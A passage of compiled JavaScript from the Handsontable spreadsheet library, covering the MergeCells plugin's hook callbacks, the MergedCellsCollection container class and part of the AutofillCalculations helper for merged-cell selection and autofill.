{Number} startRow Start row of the merged cell. * @param {Number} startColumn Start column of the merged cell. * @param {Number} endRow End row of the merged cell. * @param {Number} endColumn End column of the merged cell. * @fires Hooks#beforeMergeCells * @fires Hooks#afterMergeCells */ }, { key: "merge", value: function merge(startRow, startColumn, endRow, endColumn) { var start = new _src.CellCoords(startRow, startColumn); var end = new _src.CellCoords(endRow, endColumn); this.mergeRange(new _src.CellRange(start, start, end)); } /** * Unmerges the merged cell in the provided range. * * @param {Number} startRow Start row of the merged cell. * @param {Number} startColumn Start column of the merged cell. * @param {Number} endRow End row of the merged cell. * @param {Number} endColumn End column of the merged cell. * @fires Hooks#beforeUnmergeCells * @fires Hooks#afterUnmergeCells */ }, { key: "unmerge", value: function unmerge(startRow, startColumn, endRow, endColumn) { var start = new _src.CellCoords(startRow, startColumn); var end = new _src.CellCoords(endRow, endColumn); this.unmergeRange(new _src.CellRange(start, start, end)); } /** * `afterInit` hook callback. * * @private */ }, { key: "onAfterInit", value: function onAfterInit() { this.generateFromSettings(this.hot.getSettings().mergeCells); this.hot.render(); } /** * `beforeKeyDown` hook callback. * * @private * @param {KeyboardEvent} event The `keydown` event object. */ }, { key: "onBeforeKeyDown", value: function onBeforeKeyDown(event) { var ctrlDown = (event.ctrlKey || event.metaKey) && !event.altKey; if (ctrlDown && event.keyCode === 77) { // CTRL + M this.toggleMerge(this.hot.getSelectedRangeLast()); this.hot.render(); (0, _event.stopImmediatePropagation)(event); } } /** * Modifies the information on whether the current selection contains multiple cells. The `afterIsMultipleSelection` hook callback. * * @private * @param {Boolean} isMultiple * @returns {Boolean} */ }, { key: "onAfterIsMultipleSelection", value: function onAfterIsMultipleSelection(isMultiple) { if (isMultiple) { var mergedCells = this.mergedCellsCollection.mergedCells; var selectionRange = this.hot.getSelectedRangeLast(); for (var group = 0; group < mergedCells.length; group += 1) { if (selectionRange.highlight.row === mergedCells[group].row && selectionRange.highlight.col === mergedCells[group].col && selectionRange.to.row === mergedCells[group].row + mergedCells[group].rowspan - 1 && selectionRange.to.col === mergedCells[group].col + mergedCells[group].colspan - 1) { return false; } } } return isMultiple; } /** * `modifyTransformStart` hook callback. * * @private * @param {Object} delta The transformation delta. */ }, { key: "onModifyTransformStart", value: function onModifyTransformStart(delta) { var priv = privatePool.get(this); var currentlySelectedRange = this.hot.getSelectedRangeLast(); var newDelta = { row: delta.row, col: delta.col }; var nextPosition = null; var currentPosition = new _src.CellCoords(currentlySelectedRange.highlight.row, currentlySelectedRange.highlight.col); var mergedParent = this.mergedCellsCollection.get(currentPosition.row, currentPosition.col); if (!priv.lastDesiredCoords) { priv.lastDesiredCoords = new _src.CellCoords(null, null); } if (mergedParent) { // only merge selected var mergeTopLeft = new _src.CellCoords(mergedParent.row, mergedParent.col); var mergeBottomRight = new _src.CellCoords(mergedParent.row + mergedParent.rowspan - 1, mergedParent.col + mergedParent.colspan - 1); var mergeRange = new _src.CellRange(mergeTopLeft, mergeTopLeft, mergeBottomRight); if (!mergeRange.includes(priv.lastDesiredCoords)) { priv.lastDesiredCoords = new _src.CellCoords(null, null); // reset outdated version of lastDesiredCoords } newDelta.row = priv.lastDesiredCoords.row ? priv.lastDesiredCoords.row - currentPosition.row : newDelta.row; newDelta.col = priv.lastDesiredCoords.col ? priv.lastDesiredCoords.col - currentPosition.col : newDelta.col; if (delta.row > 0) { // moving down newDelta.row = mergedParent.row + mergedParent.rowspan - 1 - currentPosition.row + delta.row; } else if (delta.row < 0) { // moving up newDelta.row = currentPosition.row - mergedParent.row + delta.row; } if (delta.col > 0) { // moving right newDelta.col = mergedParent.col + mergedParent.colspan - 1 - currentPosition.col + delta.col; } else if (delta.col < 0) { // moving left newDelta.col = currentPosition.col - mergedParent.col + delta.col; } } nextPosition = new _src.CellCoords(currentlySelectedRange.highlight.row + newDelta.row, currentlySelectedRange.highlight.col + newDelta.col); var nextParentIsMerged = this.mergedCellsCollection.get(nextPosition.row, nextPosition.col); if (nextParentIsMerged) { // skipping the invisible cells in the merge range priv.lastDesiredCoords = nextPosition; newDelta = { row: nextParentIsMerged.row - currentPosition.row, col: nextParentIsMerged.col - currentPosition.col }; } if (newDelta.row !== 0) { delta.row = newDelta.row; } if (newDelta.col !== 0) { delta.col = newDelta.col; } } /** * `modifyTransformEnd` hook callback. Needed to handle "jumping over" merged merged cells, while selecting. * * @private * @param {Object} delta The transformation delta. */ }, { key: "onModifyTransformEnd", value: function onModifyTransformEnd(delta) { var _this6 = this; var currentSelectionRange = this.hot.getSelectedRangeLast(); var newDelta = (0, _object.clone)(delta); var newSelectionRange = this.selectionCalculations.getUpdatedSelectionRange(currentSelectionRange, delta); var tempDelta = (0, _object.clone)(newDelta); var mergedCellsWithinRange = this.mergedCellsCollection.getWithinRange(newSelectionRange, true); do { tempDelta = (0, _object.clone)(newDelta); this.selectionCalculations.getUpdatedSelectionRange(currentSelectionRange, newDelta); (0, _array.arrayEach)(mergedCellsWithinRange, function (mergedCell) { _this6.selectionCalculations.snapDelta(newDelta, currentSelectionRange, mergedCell); }); } while (newDelta.row !== tempDelta.row || newDelta.col !== tempDelta.col); delta.row = newDelta.row; delta.col = newDelta.col; } /** * `modifyGetCellCoords` hook callback. Swaps the `getCell` coords with the merged parent coords. * * @private * @param {Number} row Row index. * @param {Number} column Column index. * @returns {Array} */ }, { key: "onModifyGetCellCoords", value: function onModifyGetCellCoords(row, column) { var mergeParent = this.mergedCellsCollection.get(row, column); return mergeParent ? [mergeParent.row, mergeParent.col, mergeParent.row + mergeParent.rowspan - 1, mergeParent.col + mergeParent.colspan - 1] : void 0; } /** * `afterContextMenuDefaultOptions` hook callback. * * @private * @param {Object} defaultOptions The default context menu options. */ }, { key: "addMergeActionsToContextMenu", value: function addMergeActionsToContextMenu(defaultOptions) { defaultOptions.items.push({ name: '---------' }, (0, _toggleMerge.default)(this)); } /** * `afterRenderer` hook callback. * * @private * @param {HTMLElement} TD The cell to be modified. * @param {Number} row Row index. * @param {Number} col Column index. */ }, { key: "onAfterRenderer", value: function onAfterRenderer(TD, row, col) { var mergedCell = this.mergedCellsCollection.get(row, col); (0, _utils.applySpanProperties)(TD, mergedCell, row, col); } /** * `beforeSetRangeEnd` hook callback. * While selecting cells with keyboard or mouse, make sure that rectangular area is expanded to the extent of the merged cell * * @private * @param {Object} coords Cell coords. */ }, { key: "onBeforeSetRangeEnd", value: function onBeforeSetRangeEnd(coords) { var selRange = this.hot.getSelectedRangeLast(); selRange.highlight = new _src.CellCoords(selRange.highlight.row, selRange.highlight.col); // clone in case we will modify its reference selRange.to = coords; var rangeExpanded = false; if (selRange.from.row === 0 && selRange.to.row === this.hot.countRows() - 1 || selRange.from.col === 0 && selRange.to.col === this.hot.countCols() - 1) { return; } do { rangeExpanded = false; for (var i = 0; i < this.mergedCellsCollection.mergedCells.length; i += 1) { var cellInfo = this.mergedCellsCollection.mergedCells[i]; var mergedCellRange = cellInfo.getRange(); if (selRange.expandByRange(mergedCellRange)) { coords.row = selRange.to.row; coords.col = selRange.to.col; rangeExpanded = true; } } } while (rangeExpanded); } /** * The `afterGetCellMeta` hook callback. * * @private * @param {Number} row Row index. * @param {Number} col Column index. * @param {Object} cellProperties The cell properties object. */ }, { key: "onAfterGetCellMeta", value: function onAfterGetCellMeta(row, col, cellProperties) { var mergeParent = this.mergedCellsCollection.get(row, col); if (mergeParent && (mergeParent.row !== row || mergeParent.col !== col)) { cellProperties.copyable = false; } } /** * `afterViewportRowCalculatorOverride` hook callback. * * @private * @param {Object} calc The row calculator object. */ }, { key: "onAfterViewportRowCalculatorOverride", value: function onAfterViewportRowCalculatorOverride(calc) { var _this7 = this; var colCount = this.hot.countCols(); var mergeParent; (0, _number.rangeEach)(0, colCount - 1, function (c) { mergeParent = _this7.mergedCellsCollection.get(calc.startRow, c); if (mergeParent) { if (mergeParent.row < calc.startRow) { calc.startRow = mergeParent.row; return _this7.onAfterViewportRowCalculatorOverride.call(_this7, calc); // recursively search upwards } } mergeParent = _this7.mergedCellsCollection.get(calc.endRow, c); if (mergeParent) { var mergeEnd = mergeParent.row + mergeParent.rowspan - 1; if (mergeEnd > calc.endRow) { calc.endRow = mergeEnd; return _this7.onAfterViewportRowCalculatorOverride.call(_this7, calc); // recursively search upwards } } return true; }); } /** * `afterViewportColumnCalculatorOverride` hook callback. * * @private * @param {Object} calc The column calculator object. */ }, { key: "onAfterViewportColumnCalculatorOverride", value: function onAfterViewportColumnCalculatorOverride(calc) { var _this8 = this; var rowCount = this.hot.countRows(); var mergeParent; (0, _number.rangeEach)(0, rowCount - 1, function (r) { mergeParent = _this8.mergedCellsCollection.get(r, calc.startColumn); if (mergeParent && mergeParent.col < calc.startColumn) { calc.startColumn = mergeParent.col; return _this8.onAfterViewportColumnCalculatorOverride.call(_this8, calc); // recursively search upwards } mergeParent = _this8.mergedCellsCollection.get(r, calc.endColumn); if (mergeParent) { var mergeEnd = mergeParent.col + mergeParent.colspan - 1; if (mergeEnd > calc.endColumn) { calc.endColumn = mergeEnd; return _this8.onAfterViewportColumnCalculatorOverride.call(_this8, calc); // recursively search upwards } } return true; }); } /** * The `modifyAutofillRange` hook callback. * * @private * @param {Array} drag The drag area coordinates. * @param {Array} select The selection information. * @return {Array} The new drag area. */ }, { key: "onModifyAutofillRange", value: function onModifyAutofillRange(drag, select) { this.autofillCalculations.correctSelectionAreaSize(select); var dragDirection = this.autofillCalculations.getDirection(select, drag); var dragArea = drag; if (this.autofillCalculations.dragAreaOverlapsCollections(select, dragArea, dragDirection)) { dragArea = select; return dragArea; } var mergedCellsWithinSelectionArea = this.mergedCellsCollection.getWithinRange({ from: { row: select[0], col: select[1] }, to: { row: select[2], col: select[3] } }); if (!mergedCellsWithinSelectionArea) { return dragArea; } dragArea = this.autofillCalculations.snapDragArea(select, dragArea, dragDirection, mergedCellsWithinSelectionArea); return dragArea; } /** * `afterCreateCol` hook callback. * * @private * @param {Number} column Column index. * @param {Number} count Number of created columns. */ }, { key: "onAfterCreateCol", value: function onAfterCreateCol(column, count) { this.mergedCellsCollection.shiftCollections('right', column, count); } /** * `afterRemoveCol` hook callback. * * @private * @param {Number} column Column index. * @param {Number} count Number of removed columns. */ }, { key: "onAfterRemoveCol", value: function onAfterRemoveCol(column, count) { this.mergedCellsCollection.shiftCollections('left', column, count); } /** * `afterCreateRow` hook callback. * * @private * @param {Number} row Row index. * @param {Number} count Number of created rows. * @param {String} source Source of change. */ }, { key: "onAfterCreateRow", value: function onAfterCreateRow(row, count, source) { if (source === 'auto') { return; } this.mergedCellsCollection.shiftCollections('down', row, count); } /** * `afterRemoveRow` hook callback. * * @private * @param {Number} row Row index. * @param {Number} count Number of removed rows. */ }, { key: "onAfterRemoveRow", value: function onAfterRemoveRow(row, count) { this.mergedCellsCollection.shiftCollections('up', row, count); } /** * `afterChange` hook callback. Used to propagate merged cells after using Autofill. * * @private * @param {Array} changes The changes array. * @param {String} source Determines the source of the change. */ }, { key: "onAfterChange", value: function onAfterChange(changes, source) { if (source !== 'Autofill.fill') { return; } this.autofillCalculations.recreateAfterDataPopulation(changes); } /** * `beforeDrawAreaBorders` hook callback. * * @private * @param {Array} corners Coordinates of the area corners. * @param {String} className Class name for the area. */ }, { key: "onBeforeDrawAreaBorders", value: function onBeforeDrawAreaBorders(corners, className) { if (className && className === 'area') { var selectedRange = this.hot.getSelectedRangeLast(); var mergedCellsWithinRange = this.mergedCellsCollection.getWithinRange(selectedRange); (0, _array.arrayEach)(mergedCellsWithinRange, function (mergedCell) { if (selectedRange.getBottomRightCorner().row === mergedCell.getLastRow() && selectedRange.getBottomRightCorner().col === mergedCell.getLastColumn()) { corners[2] = mergedCell.row; corners[3] = mergedCell.col; } }); } } /** * `afterModifyTransformStart` hook callback. Fixes a problem with navigating through merged cells at the edges of the table * with the ENTER/SHIFT+ENTER/TAB/SHIFT+TAB keys. * * @private * @param {CellCoords} coords Coordinates of the to-be-selected cell. * @param {Number} rowTransformDir Row transformation direction (negative value = up, 0 = none, positive value = down) * @param {Number} colTransformDir Column transformation direction (negative value = up, 0 = none, positive value = down) */ }, { key: "onAfterModifyTransformStart", value: function onAfterModifyTransformStart(coords, rowTransformDir, colTransformDir) { if (!this.enabled) { return; } var mergedCellAtCoords = this.mergedCellsCollection.get(coords.row, coords.col); if (!mergedCellAtCoords) { return; } var goingDown = rowTransformDir > 0; var goingUp = rowTransformDir < 0; var goingLeft = colTransformDir < 0; var goingRight = colTransformDir > 0; var mergedCellOnBottomEdge = mergedCellAtCoords.row + mergedCellAtCoords.rowspan - 1 === this.hot.countRows() - 1; var mergedCellOnTopEdge = mergedCellAtCoords.row === 0; var mergedCellOnRightEdge = mergedCellAtCoords.col + mergedCellAtCoords.colspan - 1 === this.hot.countCols() - 1; var mergedCellOnLeftEdge = mergedCellAtCoords.col === 0; if (goingDown && mergedCellOnBottomEdge || goingUp && mergedCellOnTopEdge || goingRight && mergedCellOnRightEdge || goingLeft && mergedCellOnLeftEdge) { coords.row = mergedCellAtCoords.row; coords.col = mergedCellAtCoords.col; } } /** * `afterDrawSelection` hook callback. Used to add the additional class name for the entirely-selected merged cells. * * @private * @param {Number} currentRow Row index of the currently processed cell. * @param {Number} currentColumn Column index of the currently cell. * @param {Array} cornersOfSelection Array of the current selection in a form of `[startRow, startColumn, endRow, endColumn]`. * @param {Number|undefined} layerLevel Number indicating which layer of selection is currently processed. * @returns {String|undefined} A `String`, which will act as an additional `className` to be added to the currently processed cell. */ }, { key: "onAfterDrawSelection", value: function onAfterDrawSelection(currentRow, currentColumn, cornersOfSelection, layerLevel) { return this.selectionCalculations.getSelectedMergedCellClassName(currentRow, currentColumn, cornersOfSelection, layerLevel); } /** * `beforeRemoveCellClassNames` hook callback. Used to remove additional class name from all cells in the table. * * @private * @returns {String[]} An `Array` of `String`s. Each of these strings will act like class names to be removed from all the cells in the table. */ }, { key: "onBeforeRemoveCellClassNames", value: function onBeforeRemoveCellClassNames() { return this.selectionCalculations.getSelectedMergedCellClassNameToRemove(); } }]); return MergeCells; }(_base.default); (0, _plugins.registerPlugin)('mergeCells', MergeCells); var _default = MergeCells; exports.default = _default; /***/ }), /* 736 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _cellCoords = _interopRequireDefault(__webpack_require__(128)); var _index = __webpack_require__(8); var _number = __webpack_require__(9); var _console = __webpack_require__(76); var _array = __webpack_require__(3); var _utils = __webpack_require__(436); var _templateLiteralTag = __webpack_require__(58); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _templateObject() { var data = _taggedTemplateLiteral(["The merged cell declared at [", ", ", "], overlaps with the other declared merged \n cell. The overlapping merged cell was not added to the table, please fix your setup."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Defines a container object for the merged cells. * * @class MergedCellsCollection * @plugin MergeCells */ var MergedCellsCollection = /*#__PURE__*/ function () { function MergedCellsCollection(plugin) { _classCallCheck(this, MergedCellsCollection); /** * Reference to the Merge Cells plugin. * * @type {MergeCells} */ this.plugin = plugin; /** * Array of merged cells. * * @type {Array} */ this.mergedCells = []; /** * The Handsontable instance. * * @type {Handsontable} */ this.hot = plugin.hot; } /** * Get a warning message for when the declared merged cell data overlaps already existing merged cells. * * @param {Object} newMergedCell Object containg information about the merged cells that was about to be added. * @return {String} */ _createClass(MergedCellsCollection, [{ key: "get", /** * Get a merged cell from the container, based on the provided arguments. You can provide either the "starting coordinates" * of a merged cell, or any coordinates from the body of the merged cell. * * @param {Number} row Row index. * @param {Number} column Column index. * @returns {MergedCellCoords|Boolean} Returns a wanted merged cell on success and `false` on failure. */ value: function get(row, column) { var mergedCells = this.mergedCells; var result = false; (0, _array.arrayEach)(mergedCells, function (mergedCell) { if (mergedCell.row <= row && mergedCell.row + mergedCell.rowspan - 1 >= row && mergedCell.col <= column && mergedCell.col + mergedCell.colspan - 1 >= column) { result = mergedCell; return false; } return true; }); return result; } /** * Get a merged cell containing the provided range. * * @param {CellRange|Object} range The range to search merged cells for. * @return {MergedCellCoords|Boolean} */ }, { key: "getByRange", value: function getByRange(range) { var mergedCells = this.mergedCells; var result = false; (0, _array.arrayEach)(mergedCells, function (mergedCell) { if (mergedCell.row <= range.from.row && mergedCell.row + mergedCell.rowspan - 1 >= range.to.row && mergedCell.col <= range.from.col && mergedCell.col + mergedCell.colspan - 1 >= range.to.col) { result = mergedCell; return result; } return true; }); return result; } /** * Get a merged cell contained in the provided range. * * @param {CellRange|Object} range The range to search merged cells in. * @param [countPartials=false] If set to `true`, all the merged cells overlapping the range will be taken into calculation. * @return {Array|Boolean} Array of found merged cells of `false` if none were found. */ }, { key: "getWithinRange", value: function getWithinRange(range) { var countPartials = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var mergedCells = this.mergedCells; var foundMergedCells = []; var testedRange = range; if (!testedRange.includesRange) { var from = new _index.CellCoords(testedRange.from.row, testedRange.from.col); var to = new _index.CellCoords(testedRange.to.row, testedRange.to.col); testedRange = new _index.CellRange(from, from, to); } (0, _array.arrayEach)(mergedCells, function (mergedCell) { var mergedCellTopLeft = new _index.CellCoords(mergedCell.row, mergedCell.col); var mergedCellBottomRight = new _index.CellCoords(mergedCell.row + mergedCell.rowspan - 1, mergedCell.col + mergedCell.colspan - 1); var mergedCellRange = new _index.CellRange(mergedCellTopLeft, mergedCellTopLeft, mergedCellBottomRight); if (countPartials) { if (testedRange.overlaps(mergedCellRange)) { foundMergedCells.push(mergedCell); } } else if (testedRange.includesRange(mergedCellRange)) { foundMergedCells.push(mergedCell); } }); return foundMergedCells.length ? foundMergedCells : false; } /** * Add a merged cell to the container. * * @param {Object} mergedCellInfo The merged cell information object. Has to contain `row`, `col`, `colspan` and `rowspan` properties. * @return {MergedCellCoords|Boolean} Returns the new merged cell on success and `false` on failure. */ }, { key: "add", value: function add(mergedCellInfo) { var mergedCells = this.mergedCells; var row = mergedCellInfo.row; var column = mergedCellInfo.col; var rowspan = mergedCellInfo.rowspan; var colspan = mergedCellInfo.colspan; var newMergedCell = new _cellCoords.default(row, column, rowspan, colspan); var alreadyExists = this.get(row, column); var isOverlapping = this.isOverlapping(newMergedCell); if (!alreadyExists && !isOverlapping) { if (this.hot) { newMergedCell.normalize(this.hot); } mergedCells.push(newMergedCell); return newMergedCell; } (0, _console.warn)(MergedCellsCollection.IS_OVERLAPPING_WARNING(newMergedCell)); return false; } /** * Remove a merged cell from the container. You can provide either the "starting coordinates" * of a merged cell, or any coordinates from the body of the merged cell. * * @param {Number} row Row index. * @param {Number} column Column index. * @return {MergedCellCoords|Boolean} Returns the removed merged cell on success and `false` on failure. */ }, { key: "remove", value: function remove(row, column) { var mergedCells = this.mergedCells; var wantedCollection = this.get(row, column); var wantedCollectionIndex = wantedCollection ? this.mergedCells.indexOf(wantedCollection) : null; if (wantedCollection && wantedCollectionIndex !== false) { mergedCells.splice(wantedCollectionIndex, 1); return wantedCollection; } return false; } /** * Clear all the merged cells. */ }, { key: "clear", value: function clear() { var _this = this; var mergedCells = this.mergedCells; var mergedCellParentsToClear = []; var hiddenCollectionElements = []; (0, _array.arrayEach)(mergedCells, function (mergedCell) { var TD = _this.hot.getCell(mergedCell.row, mergedCell.col); if (TD) { mergedCellParentsToClear.push([TD, _this.get(mergedCell.row, mergedCell.col), mergedCell.row, mergedCell.col]); } }); this.mergedCells.length = 0; (0, _array.arrayEach)(mergedCellParentsToClear, function (mergedCell, i) { (0, _number.rangeEach)(0, mergedCell.rowspan - 1, function (j) { (0, _number.rangeEach)(0, mergedCell.colspan - 1, function (k) { if (k !== 0 || j !== 0) { var TD = _this.hot.getCell(mergedCell.row + j, mergedCell.col + k); if (TD) { hiddenCollectionElements.push([TD, null, null, null]); } } }); }); mergedCellParentsToClear[i][1] = null; }); (0, _array.arrayEach)(mergedCellParentsToClear, function (mergedCellParents) { _utils.applySpanProperties.apply(void 0, _toConsumableArray(mergedCellParents)); }); (0, _array.arrayEach)(hiddenCollectionElements, function (hiddenCollectionElement) { _utils.applySpanProperties.apply(void 0, _toConsumableArray(hiddenCollectionElement)); }); } /** * Check if the provided merged cell overlaps with the others in the container. * * @param {MergedCellCoords} mergedCell The merged cell to check against all others in the container. * @return {Boolean} `true` if the provided merged cell overlaps with the others, `false` otherwise. */ }, { key: "isOverlapping", value: function isOverlapping(mergedCell) { var mergedCellRange = new _index.CellRange(null, new _index.CellCoords(mergedCell.row, mergedCell.col), new _index.CellCoords(mergedCell.row + mergedCell.rowspan - 1, mergedCell.col + mergedCell.colspan - 1)); var result = false; (0, _array.arrayEach)(this.mergedCells, function (col) { var currentRange = new _index.CellRange(null, new _index.CellCoords(col.row, col.col), new _index.CellCoords(col.row + col.rowspan - 1, col.col + col.colspan - 1)); if (currentRange.overlaps(mergedCellRange)) { result = true; return false; } return true; }); return result; } /** * Check whether the provided row/col coordinates direct to a merged parent. * * @param {Number} row Row index. * @param {Number} column Column index. * @return {Boolean} */ }, { key: "isMergedParent", value: function isMergedParent(row, column) { var mergedCells = this.mergedCells; var result = false; (0, _array.arrayEach)(mergedCells, function (mergedCell) { if (mergedCell.row === row && mergedCell.col === column) { result = true; return false; } return true; }); return result; } /** * Shift the merged cell in the direction and by an offset defined in the arguments. * * @param {String} direction `right`, `left`, `up` or `down`. * @param {Number} index Index where the change, which caused the shifting took place. * @param {Number} count Number of rows/columns added/removed in the preceding action. */ }, { key: "shiftCollections", value: function shiftCollections(direction, index, count) { var _this2 = this; var shiftVector = [0, 0]; switch (direction) { case 'right': shiftVector[0] += count; break; case 'left': shiftVector[0] -= count; break; case 'down': shiftVector[1] += count; break; case 'up': shiftVector[1] -= count; break; default: } (0, _array.arrayEach)(this.mergedCells, function (currentMerge) { currentMerge.shift(shiftVector, index); }); (0, _number.rangeEachReverse)(this.mergedCells.length - 1, 0, function (i) { var currentMerge = _this2.mergedCells[i]; if (currentMerge && currentMerge.removed) { _this2.mergedCells.splice(_this2.mergedCells.indexOf(currentMerge), 1); } }); } }], [{ key: "IS_OVERLAPPING_WARNING", value: function IS_OVERLAPPING_WARNING(newMergedCell) { return (0, _templateLiteralTag.toSingleLine)(_templateObject(), newMergedCell.row, newMergedCell.col); } }]); return MergedCellsCollection; }(); var _default = MergedCellsCollection; exports.default = _default; /***/ }), /* 737 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _object = __webpack_require__(2); var _src = __webpack_require__(8); var _array = __webpack_require__(3); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Class responsible for all of the Autofill-related operations on merged cells. * * @class AutofillCalculations * @plugin MergeCells * @util */ var AutofillCalculations = /*#__PURE__*/ function () { function AutofillCalculations(plugin) { _classCallCheck(this, AutofillCalculations); /** * Reference to the Merge Cells plugin. * * @type {MergeCells} */ this.plugin = plugin; /** * Reference to the MergedCellsCollection class instance. * * @type {MergedCellsCollection} */ this.mergedCellsCollection = this.plugin.mergedCellsCollection; /** * Cache of the currently processed autofill data. * * @private * @type {Object} */ this.currentFillData = null; } /** * Correct the provided selection area, so it's not selecting only a part of a merged cell. * * @param {Array} selectionArea */ _createClass(AutofillCalculations, [{ key: "correctSelectionAreaSize", value: function correctSelectionAreaSize(selectionArea) { if (selectionArea[0] === selectionArea[2] && selectionArea[1] === selectionArea[3]) { var mergedCell = this.mergedCellsCollection.get(selectionArea[0], selectionArea[1]); if (mergedCell) { selectionArea[2] = selectionArea[0] + mergedCell.rowspan - 1; selectionArea[3] = selectionArea[1] + mergedCell.colspan - 1; } } } /** * Get the direction of the autofill process. * * @param {Array} selectionArea The selection area. * @param {Array} finalArea The final area (base + drag). * @return {String} `up`, `down`, `left` or `right`. */ }, { key: "getDirection", value: function getDirection(selectionArea, finalArea) { var direction = null; if (finalArea[0] === selectionArea[0] && finalArea[1] === selectionArea[1] && finalArea[3] === selectionArea[3]) { direction = 'down'; } else if (finalArea[2] === selectionArea[2] && finalArea[1] === selectionArea[1] && finalArea[3] === selectionArea[3]) { direction = 'up'; } else if (finalArea[1] === selectionArea[1] && finalArea[2] === selectionArea[2]) { direction = 'right'; } else { direction = 'left'; } return direction; } /** * Snap the drag area to the farthest merged cell, so it won't clip any of the merged cells. * * @param {Array} baseArea The base selected area. * @param {Array} dragArea The drag area. * @param {String} dragDirection The autofill drag direction. * @param {Array} foundMergedCells MergeCellCoords found in the base selection area. * @return {Array} The new drag area */ }, { key: "snapDragArea", value: function snapDragArea(baseArea, dragArea, dragDirection, foundMergedCells) { var newDragArea = dragArea.slice(0); var fillSize = this.getAutofillSize(baseArea, dragArea, dragDirection); var _baseArea = _slicedToArray(baseArea, 4), baseAreaStartRow = _baseArea[0], baseAreaStartColumn = _baseArea[1], baseAreaEndRow = _baseArea[2], baseAreaEndColumn = _baseArea[3]; var verticalDirection = ['up', 'down'].indexOf(dragDirection) > -1; var fullCycle = verticalDirection ? baseAreaEndRow - baseAreaStartRow + 1 : baseAreaEndColumn - baseAreaStartColumn + 1; var fulls = Math.floor(fillSize / fullCycle) * fullCycle; var partials = fillSize - fulls; var farthestCollection = this.getFarthestCollection(baseArea, dragArea, dragDirection, foundMergedCells); if (farthestCollection) { if (dragDirection === 'down') { var fill = farthestCollection.row + farthestCollection.rowspan - baseAreaStartRow - partials; var newLimit = newDragArea[2] + fill; if (newLimit >= this.plugin.hot.countRows()) { newDragArea[2] -= partials; } else { newDragArea[2] += partials ? fill : 0; } } else if (dragDirection === 'right') { var _fill = farthestCollection.col + farthestCollection.colspan - baseAreaStartColumn - partials; var _newLimit = newDragArea[3] + _fill; if (_newLimit >= this.plugin.hot.countCols()) { newDragArea[3] -= partials; } else { newDragArea[3] += partials ? _fill : 0; } } else if (dragDirection === 'up') { var _fill2 = baseAreaEndRow - partials - farthestCollection.row + 1; var _newLimit2 = newDragArea[0] + _fill2; if (_newLimit2 < 0) { newDragArea[0] += partials; } else { newDragArea[0] -= partials ? _fill2 : 0; } } else if (dragDirection === 'left') { var _fill3 = baseAreaEndColumn - partials - farthestCollection.col + 1; var _newLimit3 = newDragArea[1] + _fill3; if (_newLimit3 < 0) { newDragArea[1] += partials; } else { newDragArea[1] -= partials ? _fill3 : 0; } } } this.updateCurrentFillCache({ baseArea: baseArea, dragDirection: dragDirection, foundMergedCells: foundMergedCells, fillSize: fillSize, dragArea: newDragArea, cycleLength: fullCycle }); return newDragArea; } /** * Update the current fill cache with the provided object. * * @private * @param {Object} updateObject */ }, { key: "updateCurrentFillCache", value: function updateCurrentFillCache(updateObject) { if (!this.currentFillData) { this.currentFillData = {}; } (0, _object.extend)(this.currentFillData, updateObject); } /** * Get the "length" of the drag area. * * @private * @param {Array} baseArea The base selection area. * @param {Array} dragArea The drag area (containing the base area). * @param {String} direction The drag direction. * @return {Number|null} The "length" (height or width, depending on the direction) of the drag. */ }, { key: "getAutofillSize", value: function getAutofillSize(baseArea, dragArea, direction) { var _baseArea2 = _slicedToArray(baseArea, 4), baseAreaStartRow = _baseArea2[0], baseAreaStartColumn = _baseArea2[1], baseAreaEndRow = _baseArea2[2], baseAreaEndColumn = _baseArea2[3]; var _dragArea = _slicedToArray(dragArea, 4), dragAreaStartRow = _dragArea[0], dragAreaStartColumn = _dragArea[1], dragAreaEndRow = _dragArea[2], dragAreaEndColumn = _dragArea[3]; switch (direction) { case 'up': return baseAreaStartRow - dragAreaStartRow; case 'down': return dragAreaEndRow - baseAreaEndRow; case 'left': return baseAreaStartColumn - dragAreaStartColumn; case 'right': return dragAreaEndColumn - 